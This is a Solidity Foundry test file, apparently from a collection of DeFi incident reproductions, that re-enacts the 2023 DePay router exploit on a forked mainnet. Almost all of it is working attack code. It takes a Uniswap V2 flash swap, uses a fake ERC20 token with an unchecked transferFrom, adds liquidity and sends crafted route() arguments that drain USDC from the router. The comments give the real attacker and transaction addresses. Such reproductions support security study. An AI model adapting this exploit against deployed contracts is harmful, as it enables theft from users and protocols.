src/test/2023-10/DePayRouter_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~827 USDC
8// Attacker : https://etherscan.io/address/0x7f284235aef122215c46656163f39212ffa77ed9
9// Attack Contract :https://etherscan.io/address/0xba2aa7426ec6529c25a38679478645b2db5fa19b
10// Vulnerable Contract : https://etherscan.io/address/0xae60ac8e69414c2dc362d0e6a03af643d1d85b92
11// Attack Tx : https://etherscan.io/tx/0x9a036058afb58169bfa91a826f5fcf4c0a376e650960669361d61bef99205f35
12 
13// @Analysis
14// Twitter Guy : https://twitter.com/CertiKAlert/status/1709764146324009268
15 
16interface IDepayRouterV1 {
17    function route(
18        // The path of the token conversion.
19        address[] calldata path,
20        // Amounts passed to processors:
21        // e.g. [amountIn, amountOut, deadline]
22        uint256[] calldata amounts,
23        // Addresses passed to plugins:
24        // e.g. [receiver]
25        address[] calldata addresses,
26        // List and order of plugins to be executed for this payment:
27        // e.g. [Uniswap,paymentPlugin] to swap and pay
28        address[] calldata plugins,
29        // Data passed to plugins:
30        // e.g. ["signatureOfSmartContractFunction(address,uint)"] receiving the payment
31        string[] calldata data
32    ) external payable returns (bool);
33}
34 
35contract ContractTest is Test {
36    IUSDC USDC = IUSDC(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
37    IUniswapV2Pair UNIV2 = IUniswapV2Pair(0xB4e16d0168e52d35CaCD2c6185b44281Ec28C9Dc);
38    IUniswapV2Router UniRouter = IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D));
39    IDepayRouterV1 DepayRouter = IDepayRouterV1(0xae60aC8e69414C2Dc362D0e6a03af643d1D85b92);
40    IUniswapV2Factory UniFactory = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);
41    uint256 amount = 1_755_923_836;
42    address DePayUniV1 = 0xe04b08Dfc6CaA0F4Ec523a3Ae283Ece7efE00019;
43 
44    function conAddress(address address1, address address2) public pure returns (bytes memory) {
45        bytes32 concatenated;
46        assembly {
47            mstore(concatenated, address1)
48            mstore(add(concatenated, 0x14), address2)
49        }
50        return abi.encodePacked(concatenated);
51    }
52 
53    function setUp() public {
54        vm.createSelectFork("mainnet", 18_281_130 - 1);
55        vm.label(address(USDC), "USDC");
56        vm.label(address(UNIV2), "UNIV2: USDC");
57        vm.label(address(UniRouter), "UniRouter");
58        vm.label(address(UniFactory), "UniFactory");
59        vm.label(address(DepayRouter), "DepayRouter");
60        approveAll();
61    }
62 
63    function testExploit() external {
64        uint256 startUSDC = USDC.balanceOf(address(this));
65        console.log("Before Start: %d USDC", startUSDC);
66        UNIV2.swap(amount, 0, address(this), conAddress(address(USDC), address(DepayRouter)));
67 
68        uint256 intExp = USDC.balanceOf(address(this)) / 1e6;
69        uint256 decExp = USDC.balanceOf(address(this)) - intExp * 1e6;
70        console.log("Attack Exploit: %s.%s USDC", intExp, decExp);
71    }
72 
73    function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
74        uint256 amountAMin = 877_961_918;
75        ERC20ops();
76        uint256 amountA;
77        uint256 amountB;
78        uint256 liquidity;
79        (amountA, amountB, liquidity) =
80            UniRouter.addLiquidity(sender, address(USDC), 1e30, 1, amountAMin, 1, address(this), type(uint256).max);
81        IUniswapV2Pair newUniPair = IUniswapV2Pair(UniFactory.getPair(address(this), address(USDC)));
82 
83        address[] memory path = new address[](2);
84        (path[0], path[1]) = (address(USDC), address(this));
85        uint256[] memory amounts = new uint256[](3);
86        (amounts[0], amounts[1], amounts[2]) = (amountAMin, 0, type(uint256).max);
87        address[] memory addresses = new address[](2);
88        (addresses[0], addresses[1]) = (address(this), address(this));
89        address[] memory plugins = new address[](2);
90        (plugins[0], plugins[1]) = (DePayUniV1, DePayUniV1);
91        string[] memory data = new string[](1);
92        DepayRouter.route(path, amounts, addresses, plugins, data);
93 
94        newUniPair.approve(address(UniRouter), liquidity);
95        UniRouter.removeLiquidity(address(this), address(USDC), liquidity, 1, 1, address(this), type(uint256).max);
96 
97        USDC.transfer(address(UNIV2), amount * 1001 / 997);
98    }
99 
100    function approveAll() internal {
101        USDC.approve(address(UniRouter), type(uint256).max);
102        USDC.approve(address(DepayRouter), type(uint256).max);
103    }
104 
105    function ERC20ops() internal {
106        balances[address(this)] = 1e30 + 1;
107    }
108 
109    mapping(address => uint256) public balances;
110 
111    function balanceOf(
112        address account
113    ) public view virtual returns (uint256) {
114        return balances[account];
115    }
116 
117    function transfer(address to, uint256 value) public virtual returns (bool) {
118        _transfer(msg.sender, to, value);
119        return true;
120    }
121 
122    function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
123        _transfer(from, to, value);
124        return true;
125    }
126 
127    function _transfer(address from, address to, uint256 value) internal {
128        balances[from] -= value;
129        balances[to] += value;
130    }
131}